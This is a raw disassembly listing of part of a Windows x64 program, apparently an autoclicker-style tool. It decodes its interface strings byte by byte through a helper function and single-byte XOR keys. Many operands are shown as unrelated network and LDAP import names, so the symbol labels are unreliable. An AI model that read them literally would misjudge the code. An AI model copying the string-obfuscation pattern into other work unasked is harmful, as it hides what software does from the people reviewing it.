call fcn.14002c170
mov byte [rbp + 0x265], al
mov dl, WSAGetLastError
lea rcx, [rbp + 0x258]
call fcn.14002c170
mov byte [rbp + 0x266], al
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x258]
call fcn.14002c170
mov byte [rbp + 0x267], al
mov dl, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x258]
call fcn.14002c170
mov byte [rbp + 0x268], al
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x258]
call fcn.14002c170
mov byte [rbp + 0x269], al
mov dl, 0x66
lea rcx, [rbp + 0x258]
call fcn.14002c170
mov byte [rbp + 0x26a], al
mov dl, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x258]
call fcn.14002c170
mov byte [rbp + 0x26b], al
mov dl, 0x63
lea rcx, [rbp + 0x258]
call fcn.14002c170
mov byte [rbp + 0x26c], al
mov dl, 0x6c
lea rcx, [rbp + 0x258]
call fcn.14002c170
mov byte [rbp + 0x26d], al
mov dl, 0x69
lea rcx, [rbp + 0x258]
call fcn.14002c170
mov byte [rbp + 0x26e], al
mov dl, 0x63
lea rcx, [rbp + 0x258]
call fcn.14002c170
mov byte [rbp + 0x26f], al
mov dl, 0x6b
lea rcx, [rbp + 0x258]
call fcn.14002c170
mov byte [rbp + 0x270], al
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x258]
call fcn.14002c170
mov byte [rbp + 0x271], al
mov dl, 0xa
lea rcx, [rbp + 0x258]
call fcn.14002c170
mov byte [rbp + 0x272], al
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x258]
call fcn.14002c170
mov byte [rbp + 0x273], al
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x258]
call fcn.14002c170
mov byte [rbp + 0x274], al
mov dl, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x258]
call fcn.14002c170
mov byte [rbp + 0x275], al
mov dl, 0x61
lea rcx, [rbp + 0x258]
call fcn.14002c170
mov byte [rbp + 0x276], al
mov dl, 0x63
lea rcx, [rbp + 0x258]
call fcn.14002c170
mov byte [rbp + 0x277], al
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x258]
call fcn.14002c170
mov byte [rbp + 0x278], al
mov dl, 0x69
lea rcx, [rbp + 0x258]
call fcn.14002c170
mov byte [rbp + 0x279], al
mov dl, 0x76
lea rcx, [rbp + 0x258]
call fcn.14002c170
mov byte [rbp + 0x27a], al
mov dl, 0x61
lea rcx, [rbp + 0x258]
call fcn.14002c170
mov byte [rbp + 0x27b], al
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x258]
call fcn.14002c170
mov byte [rbp + 0x27c], al
mov dl, 0x65
lea rcx, [rbp + 0x258]
call fcn.14002c170
mov byte [rbp + 0x27d], al
mov dl, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x258]
call fcn.14002c170
mov byte [rbp + 0x27e], al
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x258]
call fcn.14002c170
mov byte [rbp + 0x27f], al
mov dl, 0x68
lea rcx, [rbp + 0x258]
call fcn.14002c170
mov byte [rbp + 0x280], al
mov dl, 0x65
lea rcx, [rbp + 0x258]
call fcn.14002c170
mov byte [rbp + 0x281], al
mov dl, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x258]
call fcn.14002c170
mov byte [rbp + 0x282], al
mov dl, 0x6c
lea rcx, [rbp + 0x258]
call fcn.14002c170
mov byte [rbp + 0x283], al
mov dl, 0x65
lea rcx, [rbp + 0x258]
call fcn.14002c170
mov byte [rbp + 0x284], al
mov dl, 0x66
lea rcx, [rbp + 0x258]
call fcn.14002c170
mov byte [rbp + 0x285], al
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x258]
call fcn.14002c170
mov byte [rbp + 0x286], al
mov dl, reloc.WLDAP32.dll_Ordinal_45
lea rcx, [rbp + 0x258]
call fcn.14002c170
mov byte [rbp + 0x287], al
mov dl, 0x63
lea rcx, [rbp + 0x258]
call fcn.14002c170
mov byte [rbp + 0x288], al
mov dl, 0x6c
lea rcx, [rbp + 0x258]
call fcn.14002c170
mov byte [rbp + 0x289], al
mov dl, 0x69
lea rcx, [rbp + 0x258]
call fcn.14002c170
mov byte [rbp + 0x28a], al
mov dl, 0x63
lea rcx, [rbp + 0x258]
call fcn.14002c170
mov byte [rbp + 0x28b], al
mov dl, 0x6b
lea rcx, [rbp + 0x258]
call fcn.14002c170
mov byte [rbp + 0x28c], al
mov dl, 0x65
lea rcx, [rbp + 0x258]
call fcn.14002c170
mov byte [rbp + 0x28d], al
mov dl, WSAStartup
lea rcx, [rbp + 0x258]
call fcn.14002c170
mov byte [rbp + 0x28e], al
xor eax, eax
mov byte [rbp + 0x28f], al
mov rdi, r14
mov rdx, rdi
lea rcx, [rbp + 0x259]
call fcn.14002c180
movzx edx, byte [rax]
lea rcx, [rbp + 0x258]
call fcn.14002c170
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x259]
call fcn.14002c180
mov byte [rax], bl
inc rdi
cmp rdi, 0x36
jb 0x140023771
mov edx, gethostname
lea rcx, [rbp + 0x259]
call fcn.14002c180
mov byte [rax], sil
lea rcx, [rbp + 0x259]
call fcn.140006740
mov rcx, rax
call fcn.140056580
cmp dword [0x1401615d0], esi
je 0x140023dd8
mov byte [rsp + 0x6c], reloc.WS2_32.dll_send
mov dl, 0x25
lea rcx, [rsp + 0x6c]
call fcn.14002c170
mov byte [rsp + 0x6d], al
mov dl, 0x64
lea rcx, [rsp + 0x6c]
call fcn.14002c170
mov byte [rsp + 0x6e], al
mov dl, 0x6d
lea rcx, [rsp + 0x6c]
call fcn.14002c170
mov byte [rsp + 0x6f], al
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rsp + 0x6c]
call fcn.14002c170
mov byte [rsp + 0x70], al
xor eax, eax
mov byte [rsp + 0x71], al
mov rdi, r14
nop
mov rdx, rdi
lea rcx, [rsp + 0x6d]
call fcn.14002c180
movzx edx, byte [rax]
lea rcx, [rsp + 0x6c]
call fcn.14002c170
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x6d]
call fcn.14002c180
mov byte [rax], bl
inc rdi
cmp rdi, 4
jb 0x140023830
mov edx, 4
lea rcx, [rsp + 0x6d]
call fcn.14002c180
mov byte [rax], sil
lea rcx, [rsp + 0x6d]
call fcn.140006740
mov rsi, rax
mov byte [rbp - 0x24], 0x79
mov dl, 0x44
lea rcx, [rbp - 0x24]
call fcn.14002c170
mov byte [rbp - 0x23], al
mov dl, 0x45
lea rcx, [rbp - 0x24]
call fcn.14002c170
mov byte [rbp - 0x22], al
mov dl, 0x4c
lea rcx, [rbp - 0x24]
call fcn.14002c170
mov byte [rbp - 0x21], al
mov dl, 0x41
lea rcx, [rbp - 0x24]
call fcn.14002c170
mov byte [rbp - 0x20], al
mov dl, 0x59
lea rcx, [rbp - 0x24]
call fcn.14002c170
mov byte [rbp - 0x1f], al
xor eax, eax
mov byte [rbp - 0x1e], al
mov rdi, r14
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp - 0x23]
call fcn.14002c180
movzx edx, byte [rax]
lea rcx, [rbp - 0x24]
call fcn.14002c170
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp - 0x23]
call fcn.14002c180
mov byte [rax], bl
inc rdi
cmp rdi, 5
jb 0x1400238e0
mov edx, 5
lea rcx, [rbp - 0x23]
call fcn.14002c180
mov byte [rax], 0
lea rcx, [rbp - 0x23]
call fcn.140006740
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], rsi
mov r9d, 0x2ee
mov r8d, reloc.WLDAP32.dll_Ordinal_50
lea rdx, [0x140160138]
mov rcx, rax
call fcn.140086cd0
xor ecx, ecx
call fcn.140047120
test al, al
je 0x140023dd3
mov byte [rbp + 0x220], 0x45
mov dl, 0x63
lea rcx, [rbp + 0x220]
call fcn.14002c170
mov byte [rbp + 0x221], al
mov dl, 0x6c
lea rcx, [rbp + 0x220]
call fcn.14002c170
mov byte [rbp + 0x222], al
mov dl, 0x69
lea rcx, [rbp + 0x220]
call fcn.14002c170
mov byte [rbp + 0x223], al
mov dl, 0x63
lea rcx, [rbp + 0x220]
call fcn.14002c170
mov byte [rbp + 0x224], al
mov dl, 0x6b
lea rcx, [rbp + 0x220]
call fcn.14002c170
mov byte [rbp + 0x225], al
mov dl, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x220]
call fcn.14002c170
mov byte [rbp + 0x226], al
mov dl, 0x64
lea rcx, [rbp + 0x220]
call fcn.14002c170
mov byte [rbp + 0x227], al
mov dl, 0x65
lea rcx, [rbp + 0x220]
call fcn.14002c170
mov byte [rbp + 0x228], al
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x220]
call fcn.14002c170
mov byte [rbp + 0x229], al
mov dl, 0x65
lea rcx, [rbp + 0x220]
call fcn.14002c170
mov byte [rbp + 0x22a], al
mov dl, 0x63
lea rcx, [rbp + 0x220]
call fcn.14002c170
mov byte [rbp + 0x22b], al
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x220]
call fcn.14002c170
mov byte [rbp + 0x22c], al
mov dl, 0x69
lea rcx, [rbp + 0x220]
call fcn.14002c170
mov byte [rbp + 0x22d], al
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x220]
call fcn.14002c170
mov byte [rbp + 0x22e], al
mov dl, WSAGetLastError
lea rcx, [rbp + 0x220]
call fcn.14002c170
mov byte [rbp + 0x22f], al
mov dl, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x220]
call fcn.14002c170
mov byte [rbp + 0x230], al
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x220]
call fcn.14002c170
mov byte [rbp + 0x231], al
mov dl, 0x69
lea rcx, [rbp + 0x220]
call fcn.14002c170
mov byte [rbp + 0x232], al
mov dl, 0x6d
lea rcx, [rbp + 0x220]
call fcn.14002c170
mov byte [rbp + 0x233], al
mov dl, 0x65
lea rcx, [rbp + 0x220]
call fcn.14002c170
mov byte [rbp + 0x234], al
mov dl, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x220]
call fcn.14002c170
mov byte [rbp + 0x235], al
mov dl, 0x77
lea rcx, [rbp + 0x220]
call fcn.14002c170
mov byte [rbp + 0x236], al
mov dl, 0x69
lea rcx, [rbp + 0x220]
call fcn.14002c170
mov byte [rbp + 0x237], al
mov dl, WSAGetLastError
lea rcx, [rbp + 0x220]
call fcn.14002c170
mov byte [rbp + 0x238], al
mov dl, 0x64
lea rcx, [rbp + 0x220]
call fcn.14002c170
mov byte [rbp + 0x239], al
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x220]
call fcn.14002c170
mov byte [rbp + 0x23a], al
mov dl, 0x77
lea rcx, [rbp + 0x220]
call fcn.14002c170
mov byte [rbp + 0x23b], al
mov dl, 0xa
lea rcx, [rbp + 0x220]
call fcn.14002c170
mov byte [rbp + 0x23c], al
mov dl, 0x66
lea rcx, [rbp + 0x220]
call fcn.14002c170
mov byte [rbp + 0x23d], al
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x220]
call fcn.14002c170
mov byte [rbp + 0x23e], al
mov dl, WSAStartup
lea rcx, [rbp + 0x220]
call fcn.14002c170
mov byte [rbp + 0x23f], al
mov dl, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x220]
call fcn.14002c170
mov byte [rbp + 0x240], al
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x220]
call fcn.14002c170
mov byte [rbp + 0x241], al
mov dl, 0x68
lea rcx, [rbp + 0x220]
call fcn.14002c170
mov byte [rbp + 0x242], al
mov dl, 0x65
lea rcx, [rbp + 0x220]
call fcn.14002c170
mov byte [rbp + 0x243], al
mov dl, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x220]
call fcn.14002c170
mov byte [rbp + 0x244], al
mov dl, WSAStartup
lea rcx, [rbp + 0x220]
call fcn.14002c170
mov byte [rbp + 0x245], al
mov dl, 0x65
lea rcx, [rbp + 0x220]
call fcn.14002c170
mov byte [rbp + 0x246], al
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x220]
call fcn.14002c170
mov byte [rbp + 0x247], al
mov dl, 0x69
lea rcx, [rbp + 0x220]
call fcn.14002c170
mov byte [rbp + 0x248], al
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x220]
call fcn.14002c170
mov byte [rbp + 0x249], al
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x220]
call fcn.14002c170
mov byte [rbp + 0x24a], al
mov dl, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x220]
call fcn.14002c170
mov byte [rbp + 0x24b], al
mov dl, 0x6d
lea rcx, [rbp + 0x220]
call fcn.14002c170
mov byte [rbp + 0x24c], al
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x220]
call fcn.14002c170
mov byte [rbp + 0x24d], al
mov dl, 0x64
lea rcx, [rbp + 0x220]
call fcn.14002c170
mov byte [rbp + 0x24e], al
mov dl, 0x69
lea rcx, [rbp + 0x220]
call fcn.14002c170
mov byte [rbp + 0x24f], al
mov dl, 0x66
lea rcx, [rbp + 0x220]
call fcn.14002c170
mov byte [rbp + 0x250], al
mov dl, 0x69
lea rcx, [rbp + 0x220]
call fcn.14002c170
mov byte [rbp + 0x251], al
mov dl, 0x65
lea rcx, [rbp + 0x220]
call fcn.14002c170
mov byte [rbp + 0x252], al
mov dl, WSAStartup
lea rcx, [rbp + 0x220]
call fcn.14002c170
mov byte [rbp + 0x253], al
xor eax, eax
mov byte [rbp + 0x254], al
mov rdi, r14
nop
mov rdx, rdi
lea rcx, [rbp + 0x221]
call fcn.14002c180
movzx edx, byte [rax]
lea rcx, [rbp + 0x220]
call fcn.14002c170
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x221]
call fcn.14002c180
mov byte [rax], bl
inc rdi
cmp rdi, 0x33
jb 0x140023d70
mov edx, 0x33
lea rcx, [rbp + 0x221]
call fcn.14002c180
mov byte [rax], 0
lea rcx, [rbp + 0x221]
call fcn.140006740
mov rcx, rax
call fcn.140056580
call fcn.140083870
mov byte [rbp + 0x600], 0x7d
mov al, 0x3e
mov cl, reloc.WLDAP32.dll_Ordinal_45
mov dl, reloc.WLDAP32.dll_Ordinal_46
mov r8b, 0x5d
mov r9b, Ordinal_50
mov r10b, gethostname
mov r11b, Ordinal_60
mov bl, reloc.WLDAP32.dll_Ordinal_41
xor edi, edi
xor al, 0x7d
mov byte [rbp + 0x601], al
xor cl, 0x7d
mov byte [rbp + 0x602], cl
xor dl, 0x7d
mov byte [rbp + 0x603], dl
xor r8b, 0x7d
mov byte [rbp + 0x604], r8b
xor r9b, 0x7d
mov byte [rbp + 0x605], r9b
xor r10b, 0x7d
mov byte [rbp + 0x606], r10b
xor r11b, 0x7d
mov byte [rbp + 0x607], r11b
xor bl, 0x7d
mov byte [rbp + 0x608], bl
mov byte [rbp + 0x609], dil
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r15
lea r9d, [rdi + 0x14]
xor r8d, r8d
lea rdx, [0x1401614e8]
lea rcx, [rbp + 0x601]
call fcn.140086d20
test al, al
je 0x140023eb9
cmp byte [0x140161b39], dil
jne 0x140023ec2
mov ecx, dword [0x1401614ec]
mov eax, dword [0x1401614e8]
test ecx, ecx
je 0x140023e9d
test eax, eax
jne 0x140023ea1
mov eax, 1
mov dword [0x1401614e8], eax
jmp 0x140023ea1
test eax, eax
je 0x140023eb0
test ecx, ecx
jne 0x140023eb0
mov ecx, 1
mov dword [0x1401614ec], ecx
mov byte [0x140161b39], 1
jmp 0x140023ece
cmp byte [0x140161b39], dil
je 0x140023ef5
mov ecx, dword [0x1401614ec]
mov eax, dword [0x1401614e8]
test eax, eax
je 0x140023edf
test ecx, ecx
jne 0x140023ee3
mov dword [0x1401614e8], r14d
jmp 0x140023eee
test ecx, ecx
je 0x140023ef5
test eax, eax
jne 0x140023ef5
mov dword [0x1401614ec], r14d
mov byte [0x140161b39], dil
mov byte [rbp + 0x670], 9
mov al, 0x4a
mov cl, 0x59
mov dl, 0x5a
mov r8b, reloc.WLDAP32.dll_Ordinal_41
mov r9b, 0x5b
mov r10b, 0x40
mov r11b, Ordinal_79
mov bl, 0x41
mov dil, 0x5d
xor esi, esi
xor al, 9
mov byte [rbp + 0x671], al
xor cl, 9
mov byte [rbp + 0x672], cl
xor dl, 9
mov byte [rbp + 0x673], dl
xor r8b, 9
mov byte [rbp + 0x674], r8b
xor r9b, 9
mov byte [rbp + 0x675], r9b
xor r10b, 9
mov byte [rbp + 0x676], r10b
xor r11b, 9
mov byte [rbp + 0x677], r11b
xor bl, 9
mov byte [rbp + 0x678], bl
xor dil, 9
mov byte [rbp + 0x679], dil
mov byte [rbp + 0x67a], sil
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r15
lea r9d, [rsi + 0x14]
xor r8d, r8d
lea rdx, [0x140161598]
lea rcx, [rbp + 0x671]
call fcn.140086d20
test al, al
je 0x140023fe4
cmp byte [0x140161b14], sil
jne 0x140023fed
mov ecx, dword [0x14016159c]
mov eax, dword [0x140161598]
test ecx, ecx
je 0x140023fc8
test eax, eax
jne 0x140023fcc
mov eax, 1
mov dword [0x140161598], eax
jmp 0x140023fcc
test eax, eax
je 0x140023fdb
test ecx, ecx
jne 0x140023fdb
mov ecx, 1
mov dword [0x14016159c], ecx
mov byte [0x140161b14], 1
jmp 0x140023ff9
cmp byte [0x140161b14], sil
je 0x140024020
mov ecx, dword [0x14016159c]
mov eax, dword [0x140161598]
test eax, eax
je 0x14002400a
test ecx, ecx
jne 0x14002400e
mov dword [0x140161598], r14d
jmp 0x140024019
test ecx, ecx
je 0x140024020
test eax, eax
jne 0x140024020
mov dword [0x14016159c], r14d
mov byte [0x140161b14], sil
movaps xmm1, xmm10
mov ecx, 3
call fcn.140044250
mov edx, eax
mov ecx, 1
call fcn.1400442a0
mov byte [rbp + 0x720], 0x64
mov al, reloc.WS2_32.dll_send
mov cl, reloc.WS2_32.dll_listen
mov dl, 0xa
xor r8b, r8b
mov r9b, listen
movzx r10d, al
mov r11b, 0x44
movzx ebx, dl
mov dil, 5
mov sil, 9
mov r14b, 1
xor r15d, r15d
xor al, 0x64
mov byte [rbp + 0x721], al
xor cl, 0x64
mov byte [rbp + 0x722], cl
xor dl, 0x64
mov byte [rbp + 0x723], dl
xor r8b, 0x64
mov byte [rbp + 0x724], r8b
xor r9b, 0x64
mov byte [rbp + 0x725], r9b
xor r10b, 0x64
mov byte [rbp + 0x726], r10b
xor r11b, 0x64
mov byte [rbp + 0x727], r11b
xor bl, 0x64
mov byte [rbp + 0x728], bl
xor dil, 0x64
mov byte [rbp + 0x729], dil
xor sil, 0x64
mov byte [rbp + 0x72a], sil
xor r14b, 0x64
mov byte [rbp + 0x72b], r14b
mov byte [rbp + 0x72c], r15b
movdqa xmm1, xmmword [str._n__cdneUcdz]
movdqu xmmword [rbp + 0x340], xmm1
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x341], al
xor byte [rbp + 0x342], cl
xor byte [rbp + 0x343], cl
xor byte [rbp + 0x344], cl
xor byte [rbp + 0x345], cl
xor byte [rbp + 0x346], cl
xor byte [rbp + 0x347], cl
xor byte [rbp + 0x348], cl
xor byte [rbp + 0x349], cl
xor byte [rbp + 0x34a], cl
xor byte [rbp + 0x34b], cl
xor byte [rbp + 0x34c], cl
xor byte [rbp + 0x34d], cl
xor byte [rbp + 0x34e], cl
mov byte [rbp + 0x34f], r15b
xor eax, eax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], eax
mov r9d, 0x80
lea r8, [0x140160150]
lea rdx, [rbp + 0x721]
lea rcx, [rbp + 0x341]
call fcn.140087ea0
lea ecx, [r15 + 1]
call fcn.1400443d0
mov byte [rbp + 0x750], reloc.WLDAP32.dll_Ordinal_35
mov al, reloc.WS2_32.dll_WSACleanup
mov cl, 0x6a
mov dl, 0x6d
mov r8b, 0x67
mov r9b, 0x6c
movzx r10d, al
mov r11b, 3
mov bl, 0x60
mov dil, 0x6b
mov sil, 0x66
movzx r14d, bl
mov r15b, 0x68
xor r13d, r13d
xor al, 0x23
mov byte [rbp + 0x751], al
xor cl, 0x23
mov byte [rbp + 0x752], cl
xor dl, 0x23
mov byte [rbp + 0x753], dl
xor r8b, 0x23
mov byte [rbp + 0x754], r8b
xor r9b, 0x23
mov byte [rbp + 0x755], r9b
xor r10b, 0x23
mov byte [rbp + 0x756], r10b
xor r11b, 0x23
mov byte [rbp + 0x757], r11b
xor bl, 0x23
mov byte [rbp + 0x758], bl
xor dil, 0x23
mov byte [rbp + 0x759], dil
xor sil, 0x23
mov byte [rbp + 0x75a], sil
xor r14b, 0x23
mov byte [rbp + 0x75b], r14b
xor r15b, 0x23
mov byte [rbp + 0x75c], r15b
mov byte [rbp + 0x75d], r13b
lea rdx, [0x14016013e]
lea rcx, [rbp + 0x751]
call fcn.140082b60
xor ecx, ecx
call fcn.140047120
test al, al
je 0x1400247a3
mov byte [rbp + 0x290], 6
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x291], al
mov dl, WSAGetLastError
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x292], al
mov dl, 0x6c
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x293], al
mov dl, 0x79
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x294], al
mov dl, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x295], al
mov dl, 0x61
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x296], al
mov dl, 0x75
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x297], al
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x298], al
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x299], al
mov dl, 0x63
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x29a], al
mov dl, 0x6c
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x29b], al
mov dl, 0x69
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x29c], al
mov dl, 0x63
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x29d], al
mov dl, 0x6b
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x29e], al
mov dl, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x29f], al
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x2a0], al
mov dl, WSAGetLastError
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x2a1], al
mov dl, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x2a2], al
mov dl, 0x77
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x2a3], al
mov dl, 0x69
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x2a4], al
mov dl, WSAGetLastError
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x2a5], al
mov dl, 0x64
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x2a6], al
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x2a7], al
mov dl, 0x77
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x2a8], al
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x2a9], al
mov dl, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x2aa], al
mov dl, 0x6d
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x2ab], al
mov dl, 0x61
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x2ac], al
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x2ad], al
mov dl, 0x63
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x2ae], al
mov dl, 0x68
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x2af], al
mov dl, 0x69
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x2b0], al
mov dl, WSAGetLastError
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x2b1], al
mov dl, 0x67
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x2b2], al
mov dl, 0xa
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x2b3], al
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x2b4], al
mov dl, 0x68
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x2b5], al
mov dl, 0x65
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x2b6], al
mov dl, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x2b7], al
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x2b8], al
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x2b9], al
mov dl, 0x65
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x2ba], al
mov dl, 0x63
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x2bb], al
mov dl, 0x69
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x2bc], al
mov dl, 0x66
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x2bd], al
mov dl, 0x69
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x2be], al
mov dl, 0x65
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x2bf], al
mov dl, 0x64
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x2c0], al
mov dl, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x2c1], al
mov dl, 0x77
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x2c2], al
mov dl, 0x69
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x2c3], al
mov dl, WSAGetLastError
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x2c4], al
mov dl, 0x64
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x2c5], al
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x2c6], al
mov dl, 0x77
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x2c7], al
mov dl, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x2c8], al
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x2c9], al
mov dl, 0x69
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x2ca], al
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x2cb], al
mov dl, 0x6c
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x2cc], al
mov dl, 0x65
lea rcx, [rbp + 0x290]
call fcn.14002c170
mov byte [rbp + 0x2cd], al
xor eax, eax
mov byte [rbp + 0x2ce], al
xor edi, edi
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x291]
call fcn.14002c180
movzx edx, byte [rax]
lea rcx, [rbp + 0x290]
call fcn.14002c170
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x291]
call fcn.14002c180
mov byte [rax], bl
inc rdi
cmp rdi, 0x3d
jb 0x140024740
mov edx, 0x3d
lea rcx, [rbp + 0x291]
call fcn.14002c180
mov byte [rax], r13b
lea rcx, [rbp + 0x291]
call fcn.140006740
mov rcx, rax
call fcn.140056580
call fcn.140083870
mov byte [rbp + 0x730], 0x3f
mov al, 0x7e
mov cl, 0x69
mov dl, reloc.WS2_32.dll_WSASetLastError
mov r8b, 0x76
mov r9b, 0x7b
